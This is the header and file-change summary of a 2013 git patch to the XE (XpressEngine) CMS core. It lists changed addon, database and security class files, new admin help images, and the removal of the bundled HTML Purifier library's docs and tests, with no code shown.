From 2d3f149b5abfa81f5f4ca3bf5da3ff7a3d50f5f8 Mon Sep 17 00:00:00 2001 From: ngleader Date: Sun, 29 Sep 2013 23:32:39 +0000 Subject: [PATCH] merge from 1.7.3.5(r13153:r13167) git-svn-id: http://xe-core.googlecode.com/svn/trunk@13168 201d5d3c-b55e-5fd7-737f-ddc643e51545 --- .htaccess | 3 - addons/adminlogging/adminlogging.addon.php | 18 +- addons/autolink/autolink.addon.php | 17 +- addons/autolink/autolink.spec.html | 22 +- addons/blogapi/blogapi.addon.php | 734 +- addons/blogapi/blogapi.func.php | 156 +- addons/blogapi/conf/info.xml | 4 +- addons/captcha/captcha.addon.php | 678 +- addons/captcha/conf/info.xml | 14 +- addons/captcha/lang/lang.xml | 2 +- addons/counter/conf/info.xml | 4 +- addons/counter/counter.addon.php | 14 +- addons/member_communication/conf/info.xml | 48 +- .../member_communication.addon.php | 67 +- .../member_extra_info.addon.php | 23 +- .../member_extra_info.lib.php | 117 +- addons/mobile/classes/hdml.class.php | 207 +- addons/mobile/classes/mhtml.class.php | 170 +- addons/mobile/classes/mobile.class.php | 1195 +-- addons/mobile/classes/wml.class.php | 221 +- addons/mobile/conf/info.xml | 44 +- addons/mobile/mobile.addon.php | 56 +- .../openid_delegation_id.addon.php | 32 +- addons/point_level_icon/conf/info.xml | 2 +- .../point_level_icon.addon.php | 20 +- .../point_level_icon/point_level_icon.lib.php | 64 +- addons/resize_image/btn.png | Bin 0 -> 1360 bytes .../resize_image/css/resize_image.mobile.css | 2 +- addons/resize_image/iconClose.png | Bin 1899 -> 0 bytes addons/resize_image/iconLeft.png | Bin 1218 -> 0 bytes addons/resize_image/iconRight.png | Bin 1266 -> 0 bytes addons/resize_image/js/resize_image.js | 153 +- addons/resize_image/js/resize_image.min.js | 8 +- addons/resize_image/resize_image.addon.php | 21 +- admin/help/img/admin/dashboard.PNG | Bin 0 -> 77855 bytes .../img/admin/easyinstall_for_textyle.PNG | Bin 0 -> 92987 bytes admin/help/img/admin/ftp_config.PNG | Bin 0 -> 24916 bytes admin/help/img/admin/installed_module.PNG | Bin 0 -> 20320 bytes admin/help/img/faq/add_multilingual.PNG | Bin 0 -> 15794 bytes admin/help/img/faq/admin_ip_band.PNG | Bin 0 -> 11050 bytes admin/help/img/faq/apply_multilingual.PNG | Bin 0 -> 2454 bytes admin/help/img/faq/board_basic_setup.PNG | Bin 0 -> 47366 bytes admin/help/img/faq/comment_publish.PNG | Bin 0 -> 6399 bytes admin/help/img/faq/defence_login_limit.PNG | Bin 0 -> 6276 bytes admin/help/img/faq/deny_admin_by_ip.PNG | Bin 0 -> 7882 bytes admin/help/img/faq/export1.PNG | Bin 0 -> 9828 bytes admin/help/img/faq/export2.PNG | Bin 0 -> 12820 bytes admin/help/img/faq/export3.PNG | Bin 0 -> 14591 bytes admin/help/img/faq/exposure_target.PNG | Bin 0 -> 5834 bytes admin/help/img/faq/file_status.PNG | Bin 0 -> 2607 bytes admin/help/img/faq/import1.PNG | Bin 0 -> 25622 bytes admin/help/img/faq/import2.PNG | Bin 0 -> 9260 bytes admin/help/img/faq/import_complete.PNG | Bin 0 -> 7945 bytes admin/help/img/faq/joinform_manage.PNG | Bin 0 -> 42725 bytes admin/help/img/faq/joinform_type.PNG | Bin 0 -> 10107 bytes admin/help/img/faq/login_config.PNG | Bin 0 -> 35242 bytes admin/help/img/faq/menu_name_modify.PNG | Bin 0 -> 28459 bytes admin/help/img/faq/search_multilingual.PNG | Bin 0 -> 18198 bytes admin/help/img/faq/use_multilingual.PNG | Bin 0 -> 29138 bytes admin/help/img/faq/user_defined_joinform.PNG | Bin 0 -> 22918 bytes admin/help/img/image001.png | Bin 0 -> 56443 bytes admin/help/img/image002.jpg | Bin 0 -> 11786 bytes admin/help/img/image003.jpg | Bin 0 -> 20613 bytes admin/help/img/image004.jpg | Bin 0 -> 24241 bytes admin/help/img/image005.jpg | Bin 0 -> 20369 bytes admin/help/img/image006.jpg | Bin 0 -> 28263 bytes admin/help/img/image007.jpg | Bin 0 -> 30672 bytes admin/help/img/image008.jpg | Bin 0 -> 16796 bytes admin/help/img/image009.jpg | Bin 0 -> 21563 bytes admin/help/img/image010.jpg | Bin 0 -> 18135 bytes admin/help/img/image011.jpg | Bin 0 -> 35349 bytes admin/help/img/image012.jpg | Bin 0 -> 38935 bytes admin/help/img/image013.jpg | Bin 0 -> 31502 bytes admin/help/img/image014.jpg | Bin 0 -> 36825 bytes admin/help/img/image015.jpg | Bin 0 -> 31635 bytes admin/help/img/image016.jpg | Bin 0 -> 21422 bytes admin/help/img/image017.jpg | Bin 0 -> 24415 bytes admin/help/img/image018.jpg | Bin 0 -> 48162 bytes admin/help/img/image019.jpg | Bin 0 -> 23865 bytes admin/help/img/image020.jpg | Bin 0 -> 18842 bytes admin/help/img/image021.jpg | Bin 0 -> 19476 bytes admin/help/img/image022.jpg | Bin 0 -> 24969 bytes admin/help/img/image023.png | Bin 0 -> 330 bytes admin/help/img/image024.jpg | Bin 0 -> 26698 bytes admin/help/img/image025.jpg | Bin 0 -> 36966 bytes admin/help/img/image026.png | Bin 0 -> 327 bytes admin/help/img/image027.jpg | Bin 0 -> 37331 bytes admin/help/img/image028.png | Bin 0 -> 229 bytes admin/help/img/image029.jpg | Bin 0 -> 34797 bytes admin/help/img/image030.png | Bin 0 -> 228 bytes admin/help/img/image031.jpg | Bin 0 -> 32804 bytes admin/help/img/image032.jpg | Bin 0 -> 32932 bytes admin/help/img/image033.jpg | Bin 0 -> 28826 bytes admin/help/img/image034.jpg | Bin 0 -> 383 bytes admin/help/img/image035.jpg | Bin 0 -> 1027 bytes admin/help/img/image036.jpg | Bin 0 -> 22339 bytes admin/help/img/image037.jpg | Bin 0 -> 44758 bytes admin/help/img/image038.jpg | Bin 0 -> 35484 bytes admin/help/img/image039.jpg | Bin 0 -> 29526 bytes admin/help/img/image040.jpg | Bin 0 -> 29315 bytes admin/help/img/image041.jpg | Bin 0 -> 23938 bytes admin/help/img/image042.jpg | Bin 0 -> 25652 bytes admin/help/img/image043.jpg | Bin 0 -> 30062 bytes admin/help/img/image044.jpg | Bin 0 -> 28479 bytes admin/help/img/image045.jpg | Bin 0 -> 24347 bytes admin/help/img/image046.png | Bin 0 -> 57808 bytes admin/help/img/image047.png | Bin 0 -> 29038 bytes admin/help/img/image048.jpg | Bin 0 -> 36833 bytes admin/help/img/image049.jpg | Bin 0 -> 27960 bytes admin/help/img/image050.jpg | Bin 0 -> 25034 bytes admin/help/img/image051.jpg | Bin 0 -> 27778 bytes admin/help/img/image052.png | Bin 0 -> 815 bytes admin/help/img/image053.jpg | Bin 0 -> 19889 bytes admin/help/img/image054.jpg | Bin 0 -> 11774 bytes admin/help/img/image055.jpg | Bin 0 -> 41275 bytes admin/help/img/image056.jpg | Bin 0 -> 17728 bytes admin/help/img/image057.jpg | Bin 0 -> 77778 bytes admin/help/img/image058.jpg | Bin 0 -> 23060 bytes admin/help/img/image059.jpg | Bin 0 -> 24221 bytes admin/help/img/image060.jpg | Bin 0 -> 31584 bytes admin/help/img/image061.png | Bin 0 -> 9679 bytes admin/help/img/image062.png | Bin 0 -> 4357 bytes admin/help/img/image063.png | Bin 0 -> 4490 bytes admin/help/img/install/complete_install.PNG | Bin 0 -> 482078 bytes admin/help/img/install/db_select.PNG | Bin 0 -> 39596 bytes .../help/img/install/environment_setting.PNG | Bin 0 -> 23409 bytes admin/help/img/install/insert_admin_info.PNG | Bin 0 -> 28362 bytes admin/help/img/install/insert_db_info.PNG | Bin 0 -> 29418 bytes .../img/install/install_condition_check.PNG | Bin 0 -> 20829 bytes .../install/install_condition_check_error.PNG | Bin 0 -> 24090 bytes admin/help/img/install/language_select.PNG | Bin 0 -> 27394 bytes admin/help/img/make_general_site/add_home.PNG | Bin 0 -> 34965 bytes .../img/make_general_site/board_install.PNG | Bin 0 -> 21484 bytes .../make_general_site/change_start_page.PNG | Bin 0 -> 18639 bytes .../default_layout_setting.PNG | Bin 0 -> 69367 bytes .../img/make_general_site/delete_menu1.PNG | Bin 0 -> 18836 bytes .../ftp_password_confirm.PNG | Bin 0 -> 10170 bytes .../help/img/make_general_site/home_page1.PNG | Bin 0 -> 21938 bytes .../help/img/make_general_site/home_page2.PNG | Bin 0 -> 26721 bytes .../help/img/make_general_site/home_page3.PNG | Bin 0 -> 117545 bytes .../help/img/make_general_site/home_page4.PNG | Bin 0 -> 126132 bytes .../help/img/make_general_site/home_page5.PNG | Bin 0 -> 143521 bytes .../help/img/make_general_site/home_page6.PNG | Bin 0 -> 39716 bytes .../help/img/make_general_site/home_page7.PNG | Bin 0 -> 152345 bytes .../help/img/make_general_site/home_page8.PNG | Bin 0 -> 144062 bytes .../make_general_site/home_page_completed.PNG | Bin 0 -> 135861 bytes .../make_general_site/menu_delete_confirm.PNG | Bin 0 -> 11956 bytes .../img/make_general_site/notice01_add.PNG | Bin 0 -> 37629 bytes .../other_mentype_install.PNG | Bin 0 -> 27491 bytes admin/help/img/make_general_site/progress.PNG | Bin 0 -> 5126 bytes admin/help/index.html | 1669 ++++ admin/index.php | 5 +- classes/cache/CacheApc.class.php | 80 +- classes/cache/CacheFile.class.php | 67 +- classes/cache/CacheHandler.class.php | 180 +- classes/cache/CacheMemcache.class.php | 90 +- classes/cache/CacheWincache.class.php | 81 +- classes/context/Context.class.php | 1703 ++-- classes/db/DB.class.php | 2363 +++-- classes/db/DBCubrid.class.php | 1959 ++-- classes/db/DBFirebird.class.php | 868 -- classes/db/DBMssql.class.php | 1658 ++-- classes/db/DBMysql.class.php | 958 +- classes/db/DBMysql_innodb.class.php | 348 +- classes/db/DBMysqli.class.php | 789 +- classes/db/DBPostgresql.class.php | 600 -- classes/db/DBSqlite3_pdo.class.php | 636 -- classes/db/queryparts/Query.class.php | 1141 ++- classes/db/queryparts/Subquery.class.php | 128 +- .../queryparts/condition/Condition.class.php | 464 +- .../condition/ConditionGroup.class.php | 174 +- .../condition/ConditionSubquery.class.php | 42 +- .../condition/ConditionWithArgument.class.php | 157 +- .../ConditionWithoutArgument.class.php | 58 +- .../expression/ClickCountExpression.class.php | 100 +- .../expression/DeleteExpression.class.php | 104 +- .../expression/Expression.class.php | 91 +- .../expression/InsertExpression.class.php | 108 +- .../expression/SelectExpression.class.php | 118 +- .../expression/StarExpression.class.php | 60 +- .../expression/UpdateExpression.class.php | 185 +- .../UpdateExpressionWithoutArgument.class.php | 114 +- classes/db/queryparts/limit/Limit.class.php | 158 +- .../queryparts/order/OrderByColumn.class.php | 111 +- .../table/CubridTableWithHint.class.php | 117 +- .../db/queryparts/table/IndexHint.class.php | 72 +- .../db/queryparts/table/JoinTable.class.php | 121 +- .../table/MssqlTableWithHint.class.php | 102 +- .../table/MysqlTableWithHint.class.php | 125 +- classes/db/queryparts/table/Table.class.php | 98 +- classes/display/DisplayHandler.class.php | 598 +- classes/display/HTMLDisplayHandler.php | 310 +- classes/display/JSCallbackDisplayHandler.php | 23 + classes/display/JSONDisplayHandler.php | 11 +- classes/display/VirtualXMLDisplayHandler.php | 63 +- classes/display/XMLDisplayHandler.php | 50 +- classes/editor/EditorHandler.class.php | 52 +- classes/extravar/Extravar.class.php | 845 +- classes/file/FileHandler.class.php | 937 +- classes/file/FileObject.class.php | 60 +- classes/file/getRemoteResourcePHP5.php | 9 - .../FrontEndFileHandler.class.php | 795 +- classes/handler/Handler.class.php | 18 +- classes/httprequest/XEHttpRequest.class.php | 114 +- classes/mail/Mail.class.php | 386 +- classes/mobile/Mobile.class.php | 88 +- classes/module/ModuleHandler.class.php | 1890 ++-- classes/module/ModuleObject.class.php | 776 +- classes/object/Object.class.php | 74 +- classes/page/PageHandler.class.php | 144 +- classes/security/EmbedFilter.class.php | 575 +- classes/security/Purifier.class.php | 180 + classes/security/Security.class.php | 128 +- classes/security/conf/embedWhiteUrl.xml | 4 + classes/security/htmlpurifier/.gitattributes | 1 - classes/security/htmlpurifier/.gitignore | 22 - classes/security/htmlpurifier/Doxyfile | 1317 --- classes/security/htmlpurifier/FOCUS | 13 - classes/security/htmlpurifier/INSTALL | 374 - classes/security/htmlpurifier/INSTALL.fr.utf8 | 69 - classes/security/htmlpurifier/NEWS | 1032 --- classes/security/htmlpurifier/README | 24 - classes/security/htmlpurifier/TODO | 149 - classes/security/htmlpurifier/WHATSNEW | 8 - classes/security/htmlpurifier/WYSIWYG | 20 - .../security/htmlpurifier/art/1000passes.png | Bin 3522 -> 0 bytes .../security/htmlpurifier/art/100cases.png | Bin 2732 -> 0 bytes classes/security/htmlpurifier/art/favicon.ico | Bin 9326 -> 0 bytes .../security/htmlpurifier/art/icon-16x16.png | Bin 382 -> 0 bytes .../security/htmlpurifier/art/icon-16x16.svg | 101 - .../security/htmlpurifier/art/icon-32x32.png | Bin 615 -> 0 bytes .../security/htmlpurifier/art/icon-32x32.svg | 101 - .../security/htmlpurifier/art/icon-64x64.png | Bin 1036 -> 0 bytes .../security/htmlpurifier/art/logo-large.png | Bin 10054 -> 0 bytes classes/security/htmlpurifier/art/logo.png | Bin 2658 -> 0 bytes classes/security/htmlpurifier/art/logo.svg | 119 - classes/security/htmlpurifier/art/powered.png | Bin 297 -> 0 bytes .../htmlpurifier/benchmarks/.htaccess | 1 - .../htmlpurifier/benchmarks/ConfigSchema.php | 16 - .../htmlpurifier/benchmarks/Lexer.php | 158 - .../htmlpurifier/benchmarks/Trace.php | 21 - .../benchmarks/samples/Lexer/1.html | 56 - .../benchmarks/samples/Lexer/2.html | 20 - .../benchmarks/samples/Lexer/3.html | 131 - .../benchmarks/samples/Lexer/4.html | 543 -- .../benchmarks/samples/Lexer/DISCLAIMER.txt | 7 - .../htmlpurifier/configdoc/generate.php | 64 - .../htmlpurifier/configdoc/styles/plain.css | 44 - .../htmlpurifier/configdoc/styles/plain.xsl | 253 - .../security/htmlpurifier/configdoc/types.xml | 69 - .../security/htmlpurifier/configdoc/usage.xml | 534 -- .../htmlpurifier/docs/dev-advanced-api.html | 26 - .../htmlpurifier/docs/dev-code-quality.txt | 29 - .../htmlpurifier/docs/dev-config-bcbreaks.txt | 79 - .../htmlpurifier/docs/dev-config-naming.txt | 164 - .../htmlpurifier/docs/dev-config-schema.html | 412 - .../security/htmlpurifier/docs/dev-flush.html | 68 - .../htmlpurifier/docs/dev-includes.txt | 281 - .../htmlpurifier/docs/dev-naming.html | 83 - .../htmlpurifier/docs/dev-optimization.html | 33 - .../htmlpurifier/docs/dev-progress.html | 309 - .../docs/dtd/xhtml1-transitional.dtd | 1201 --- .../htmlpurifier/docs/enduser-customize.html | 850 -- .../htmlpurifier/docs/enduser-id.html | 148 - .../htmlpurifier/docs/enduser-overview.txt | 59 - .../htmlpurifier/docs/enduser-security.txt | 18 - .../htmlpurifier/docs/enduser-slow.html | 120 - .../htmlpurifier/docs/enduser-tidy.html | 231 - .../htmlpurifier/docs/enduser-uri-filter.html | 204 - .../htmlpurifier/docs/enduser-utf8.html | 1060 --- .../htmlpurifier/docs/enduser-youtube.html | 153 - .../htmlpurifier/docs/entities/xhtml-lat1.ent | 196 - .../docs/entities/xhtml-special.ent | 80 - .../docs/entities/xhtml-symbol.ent | 237 - .../htmlpurifier/docs/examples/basic.php | 23 - .../security/htmlpurifier/docs/fixquotes.htc | 9 - classes/security/htmlpurifier/docs/index.html | 188 - .../htmlpurifier/docs/proposal-colors.html | 49 - .../htmlpurifier/docs/proposal-config.txt | 23 - .../docs/proposal-css-extraction.txt | 34 - .../htmlpurifier/docs/proposal-errors.txt | 211 - .../docs/proposal-filter-levels.txt | 137 - .../htmlpurifier/docs/proposal-language.txt | 64 - .../docs/proposal-new-directives.txt | 44 - .../htmlpurifier/docs/proposal-plists.txt | 218 - .../htmlpurifier/docs/ref-content-models.txt | 50 - .../htmlpurifier/docs/ref-css-length.txt | 30 - .../htmlpurifier/docs/ref-devnetwork.html | 47 - .../docs/ref-html-modularization.txt | 166 - .../docs/ref-proprietary-tags.txt | 26 - .../security/htmlpurifier/docs/ref-whatwg.txt | 26 - .../htmlpurifier/docs/specimens/LICENSE | 10 - .../docs/specimens/html-align-to-css.html | 165 - .../htmlpurifier/docs/specimens/img.png | Bin 2138 -> 0 bytes .../docs/specimens/jochem-blok-word.html | 129 - .../windows-live-mail-desktop-beta.html | 74 - classes/security/htmlpurifier/docs/style.css | 76 - .../extras/ConfigDoc/HTMLXSLTProcessor.php | 86 - .../security/htmlpurifier/extras/FSTools.php | 157 - .../htmlpurifier/extras/FSTools/File.php | 126 - .../extras/HTMLPurifierExtras.auto.php | 11 - .../extras/HTMLPurifierExtras.autoload.php | 25 - .../extras/HTMLPurifierExtras.php | 29 - classes/security/htmlpurifier/extras/README | 32 - .../htmlpurifier/maintenance/.htaccess | 1 - .../htmlpurifier/maintenance/PH5P.patch | 102 - .../htmlpurifier/maintenance/PH5P.php | 3824 -------- .../htmlpurifier/maintenance/add-vimline.php | 131 - .../htmlpurifier/maintenance/common.php | 22 - .../maintenance/compile-doxygen.sh | 11 - .../maintenance/config-scanner.php | 153 - .../maintenance/flush-definition-cache.php | 42 - .../htmlpurifier/maintenance/flush.php | 29 - .../maintenance/generate-entity-file.php | 74 - .../maintenance/generate-includes.php | 190 - .../maintenance/generate-ph5p-patch.php | 22 - .../maintenance/generate-schema-cache.php | 45 - .../maintenance/generate-standalone.php | 151 - .../maintenance/merge-library.php | 11 - .../maintenance/old-extract-schema.php | 70 - .../maintenance/old-remove-require-once.php | 32 - .../maintenance/old-remove-schema-def.php | 32 - .../maintenance/regenerate-docs.sh | 5 - .../remove-trailing-whitespace.php | 37 - .../maintenance/rename-config.php | 84 - .../maintenance/update-config.php | 34 - .../maintenance/update-freshmeat.php | 156 - classes/security/htmlpurifier/package.php | 61 - classes/security/htmlpurifier/phpdoc.ini | 102 - .../security/htmlpurifier/plugins/modx.txt | 112 - .../htmlpurifier/plugins/phorum/.gitignore | 2 - .../htmlpurifier/plugins/phorum/Changelog | 27 - .../htmlpurifier/plugins/phorum/INSTALL | 84 - .../htmlpurifier/plugins/phorum/README | 45 - .../plugins/phorum/config.default.php | 57 - .../plugins/phorum/htmlpurifier.php | 309 - .../plugins/phorum/htmlpurifier/LICENSE | 504 - .../plugins/phorum/htmlpurifier/README | 3 - .../htmlpurifier/plugins/phorum/info.txt | 18 - .../plugins/phorum/init-config.php | 28 - .../plugins/phorum/migrate.bbcode.php | 30 - .../htmlpurifier/plugins/phorum/settings.php | 64 - .../plugins/phorum/settings/form.php | 93 - .../phorum/settings/migrate-sigs-form.php | 22 - .../plugins/phorum/settings/migrate-sigs.php | 77 - .../plugins/phorum/settings/save.php | 27 - .../security/htmlpurifier/release1-update.php | 110 - .../security/htmlpurifier/release2-tag.php | 22 - .../security/htmlpurifier/smoketests/all.php | 44 - .../htmlpurifier/smoketests/attrTransform.php | 72 - .../htmlpurifier/smoketests/attrTransform.xml | 192 - .../htmlpurifier/smoketests/basic.php | 73 - .../smoketests/basic/allElements.css | 50 - .../smoketests/basic/allElements.html | 82 - .../htmlpurifier/smoketests/basic/legacy.css | 73 - .../htmlpurifier/smoketests/basic/legacy.html | 127 - .../htmlpurifier/smoketests/cacheConfig.php | 15 - .../htmlpurifier/smoketests/common.php | 37 - .../htmlpurifier/smoketests/configForm.php | 77 - .../htmlpurifier/smoketests/dataScheme.php | 37 - .../smoketests/extractStyleBlocks.php | 73 - .../security/htmlpurifier/smoketests/img.png | Bin 2138 -> 0 bytes .../htmlpurifier/smoketests/innerHTML.html | 33 - .../htmlpurifier/smoketests/innerHTML.js | 51 - .../smoketests/preserveYouTube.php | 72 - .../smoketests/printDefinition.php | 119 - .../test-schema/Directive.Allowed.txt | 6 - .../test-schema/Directive.Deprecated.txt | 7 - .../smoketests/test-schema/Directive.txt | 3 - .../smoketests/test-schema/Type.bool.txt | 5 - .../smoketests/test-schema/Type.float.txt | 5 - .../smoketests/test-schema/Type.hash.txt | 5 - .../smoketests/test-schema/Type.int.txt | 5 - .../smoketests/test-schema/Type.istring.txt | 5 - .../smoketests/test-schema/Type.itext.txt | 5 - .../smoketests/test-schema/Type.list.txt | 5 - .../smoketests/test-schema/Type.lookup.txt | 5 - .../smoketests/test-schema/Type.mixed.txt | 5 - .../smoketests/test-schema/Type.nullbool.txt | 7 - .../test-schema/Type.nullstring.txt | 9 - .../smoketests/test-schema/Type.string.txt | 5 - .../smoketests/test-schema/Type.text.txt | 5 - .../smoketests/test-schema/Type.txt | 3 - .../smoketests/test-schema/info.ini | 3 - .../smoketests/variableWidthAttack.php | 57 - .../htmlpurifier/smoketests/xssAttacks.php | 99 - .../htmlpurifier/smoketests/xssAttacks.xml | 1307 --- .../htmlpurifier/test-settings.sample.php | 76 - .../htmlpurifier/tests/CliTestCase.php | 81 - .../security/htmlpurifier/tests/Debugger.php | 147 - .../tests/FSTools/FileSystemHarness.php | 36 - .../htmlpurifier/tests/FSTools/FileTest.php | 46 - .../HTMLPurifier/AttrCollectionsTest.php | 134 - .../AttrDef/CSS/AlphaValueTest.php | 28 - .../AttrDef/CSS/BackgroundPositionTest.php | 68 - .../AttrDef/CSS/BackgroundTest.php | 23 - .../HTMLPurifier/AttrDef/CSS/BorderTest.php | 21 - .../HTMLPurifier/AttrDef/CSS/ColorTest.php | 41 - .../AttrDef/CSS/CompositeTest.php | 81 - .../HTMLPurifier/AttrDef/CSS/FilterTest.php | 29 - .../AttrDef/CSS/FontFamilyTest.php | 52 - .../HTMLPurifier/AttrDef/CSS/FontTest.php | 34 - .../AttrDef/CSS/ImportantDecoratorTest.php | 49 - .../HTMLPurifier/AttrDef/CSS/LengthTest.php | 48 - .../AttrDef/CSS/ListStyleTest.php | 35 - .../HTMLPurifier/AttrDef/CSS/MultipleTest.php | 28 - .../HTMLPurifier/AttrDef/CSS/NumberTest.php | 51 - .../AttrDef/CSS/PercentageTest.php | 24 - .../AttrDef/CSS/TextDecorationTest.php | 27 - .../HTMLPurifier/AttrDef/CSS/URITest.php | 29 - .../tests/HTMLPurifier/AttrDef/CSSTest.php | 164 - .../tests/HTMLPurifier/AttrDef/EnumTest.php | 37 - .../HTMLPurifier/AttrDef/HTML/BoolTest.php | 22 - .../HTMLPurifier/AttrDef/HTML/ClassTest.php | 48 - .../HTMLPurifier/AttrDef/HTML/ColorTest.php | 20 - .../AttrDef/HTML/FrameTargetTest.php | 28 - .../HTMLPurifier/AttrDef/HTML/IDTest.php | 108 - .../HTMLPurifier/AttrDef/HTML/LengthTest.php | 32 - .../AttrDef/HTML/LinkTypesTest.php | 21 - .../AttrDef/HTML/MultiLengthTest.php | 28 - .../AttrDef/HTML/NmtokensTest.php | 35 - .../HTMLPurifier/AttrDef/HTML/PixelsTest.php | 45 - .../HTMLPurifier/AttrDef/IntegerTest.php | 61 - .../tests/HTMLPurifier/AttrDef/LangTest.php | 85 - .../tests/HTMLPurifier/AttrDef/SwitchTest.php | 34 - .../tests/HTMLPurifier/AttrDef/TextTest.php | 17 - .../AttrDef/URI/Email/SimpleCheckTest.php | 13 - .../HTMLPurifier/AttrDef/URI/EmailHarness.php | 31 - .../HTMLPurifier/AttrDef/URI/HostTest.php | 53 - .../HTMLPurifier/AttrDef/URI/IPv4Test.php | 25 - .../HTMLPurifier/AttrDef/URI/IPv6Test.php | 43 - .../tests/HTMLPurifier/AttrDef/URITest.php | 146 - .../tests/HTMLPurifier/AttrDefHarness.php | 27 - .../tests/HTMLPurifier/AttrDefTest.php | 32 - .../AttrTransform/BackgroundTest.php | 40 - .../HTMLPurifier/AttrTransform/BdoDirTest.php | 30 - .../AttrTransform/BgColorTest.php | 44 - .../AttrTransform/BoolToCSSTest.php | 38 - .../HTMLPurifier/AttrTransform/BorderTest.php | 38 - .../AttrTransform/EnumToCSSTest.php | 73 - .../AttrTransform/ImgRequiredTest.php | 55 - .../AttrTransform/ImgSpaceTest.php | 55 - .../HTMLPurifier/AttrTransform/InputTest.php | 94 - .../HTMLPurifier/AttrTransform/LangTest.php | 46 - .../HTMLPurifier/AttrTransform/LengthTest.php | 45 - .../AttrTransform/NameSyncTest.php | 40 - .../HTMLPurifier/AttrTransform/NameTest.php | 31 - .../HTMLPurifier/AttrTransformHarness.php | 13 - .../tests/HTMLPurifier/AttrTransformTest.php | 45 - .../tests/HTMLPurifier/AttrTypesTest.php | 26 - .../HTMLPurifier/AttrValidator_ErrorsTest.php | 66 - .../HTMLPurifier/ChildDef/ChameleonTest.php | 40 - .../HTMLPurifier/ChildDef/CustomTest.php | 89 - .../tests/HTMLPurifier/ChildDef/ListTest.php | 50 - .../HTMLPurifier/ChildDef/OptionalTest.php | 33 - .../HTMLPurifier/ChildDef/RequiredTest.php | 73 - .../ChildDef/StrictBlockquoteTest.php | 83 - .../tests/HTMLPurifier/ChildDef/TableTest.php | 75 - .../tests/HTMLPurifier/ChildDefHarness.php | 16 - .../tests/HTMLPurifier/ComplexHarness.php | 106 - .../ConfigSchema/InterchangeTest.php | 21 - .../directive/aliasesAliasCollision.vtest | 13 - .../directive/aliasesDirectiveCollision.vtest | 12 - .../Validator/directive/allowedIsString.vtest | 7 - .../Validator/directive/allowedNotEmpty.vtest | 7 - .../directive/defaultIsAllowed.vtest | 7 - .../directive/defaultNullWithAllowed.vtest | 5 - .../Validator/directive/defaultType.vtest | 6 - .../directive/descriptionNotEmpty.vtest | 5 - .../Validator/directive/ignoreNamespace.vtest | 3 - .../Validator/directive/typeDefined.vtest | 5 - .../Validator/directive/typeExists.vtest | 6 - .../typeWithAllowedIsStringType.vtest | 7 - .../typeWithValueAliasesIsStringType.vtest | 7 - .../Validator/directive/unique.vtest | 11 - .../directive/valueAliasesAliasIsString.vtest | 7 - .../valueAliasesAliasNotAllowed.vtest | 8 - .../directive/valueAliasesNotAliasSelf.vtest | 7 - .../directive/valueAliasesRealAllowed.vtest | 8 - .../directive/valueAliasesRealIsString.vtest | 7 - .../ConfigSchema/ValidatorAtomTest.php | 92 - .../ConfigSchema/ValidatorTest.php | 101 - .../ConfigSchema/ValidatorTestCase.php | 44 - .../tests/HTMLPurifier/ConfigSchemaTest.php | 99 - .../tests/HTMLPurifier/ConfigTest-create.ini | 4 - .../HTMLPurifier/ConfigTest-finalize.ini | 4 - .../tests/HTMLPurifier/ConfigTest-loadIni.ini | 6 - .../tests/HTMLPurifier/ConfigTest.php | 557 -- .../tests/HTMLPurifier/ContextTest.php | 84 - .../DefinitionCache/Decorator/CleanupTest.php | 56 - .../DefinitionCache/Decorator/MemoryTest.php | 70 - .../DefinitionCache/DecoratorHarness.php | 23 - .../DefinitionCache/DecoratorTest.php | 42 - .../DefinitionCache/SerializerTest.php | 225 - .../DefinitionCache/SerializerTest/README | 3 - .../DefinitionCacheFactoryTest.php | 70 - .../HTMLPurifier/DefinitionCacheHarness.php | 34 - .../HTMLPurifier/DefinitionCacheTest.php | 32 - .../tests/HTMLPurifier/DefinitionTest.php | 20 - .../tests/HTMLPurifier/DefinitionTestable.php | 8 - .../HTMLPurifier/DoctypeRegistryTest.php | 77 - .../tests/HTMLPurifier/ElementDefTest.php | 91 - .../tests/HTMLPurifier/EncoderTest.php | 215 - .../tests/HTMLPurifier/EntityLookupTest.php | 27 - .../tests/HTMLPurifier/EntityParserTest.php | 85 - .../HTMLPurifier/ErrorCollectorEMock.php | 48 - .../tests/HTMLPurifier/ErrorCollectorTest.php | 157 - .../tests/HTMLPurifier/ErrorsHarness.php | 38 - .../Filter/ExtractStyleBlocksTest.php | 231 - .../tests/HTMLPurifier/GeneratorTest.php | 288 - .../tests/HTMLPurifier/HTMLDefinitionTest.php | 355 - .../HTMLPurifier/HTMLModule/FormsTest.php | 155 - .../HTMLPurifier/HTMLModule/ImageTest.php | 55 - .../HTMLPurifier/HTMLModule/NameTest.php | 32 - .../HTMLPurifier/HTMLModule/NofollowTest.php | 26 - .../HTMLPurifier/HTMLModule/ObjectTest.php | 38 - .../HTMLModule/ProprietaryTest.php | 30 - .../HTMLPurifier/HTMLModule/RubyTest.php | 55 - .../HTMLPurifier/HTMLModule/SafeEmbedTest.php | 41 - .../HTMLModule/SafeObjectTest.php | 49 - .../HTMLPurifier/HTMLModule/ScriptingTest.php | 55 - .../HTMLModule/TargetBlankTest.php | 20 - .../HTMLPurifier/HTMLModule/TidyTest.php | 224 - .../tests/HTMLPurifier/HTMLModuleHarness.php | 11 - .../HTMLPurifier/HTMLModuleManagerTest.php | 120 - .../tests/HTMLPurifier/HTMLModuleTest.php | 146 - .../htmlpurifier/tests/HTMLPurifier/HTMLT.php | 33 - .../HTMLPurifier/HTMLT/allowed-preserve.htmlt | 8 - .../HTMLPurifier/HTMLT/allowed-remove.htmlt | 8 - .../tests/HTMLPurifier/HTMLT/basic.htmlt | 5 - .../HTMLT/blacklist-preserve.htmlt | 6 - .../HTMLPurifier/HTMLT/blacklist-remove.htmlt | 8 - .../HTMLT/css-allowed-preserve.htmlt | 5 - .../HTMLT/css-allowed-remove.htmlt | 7 - .../HTMLPurifier/HTMLT/disable-uri.htmlt | 6 - .../HTMLPurifier/HTMLT/double-youtube.htmlt | 6 - .../tests/HTMLPurifier/HTMLT/empty.htmlt | 6 - .../tests/HTMLPurifier/HTMLT/file-uri.htmlt | 5 - .../tests/HTMLPurifier/HTMLT/id-default.htmlt | 5 - .../tests/HTMLPurifier/HTMLT/id-enabled.htmlt | 6 - .../tests/HTMLPurifier/HTMLT/id-img.htmlt | 8 - .../HTMLPurifier/HTMLT/id-name-mix.htmlt | 11 - .../HTMLPurifier/HTMLT/inline-list-loop.htmlt | 5 - .../HTMLT/inline-wraps-block.htmlt | 5 - .../HTMLPurifier/HTMLT/list-nesting.htmlt | 5 - .../HTMLPurifier/HTMLT/munge-extra.htmlt | 11 - .../tests/HTMLPurifier/HTMLT/munge.htmlt | 52 - 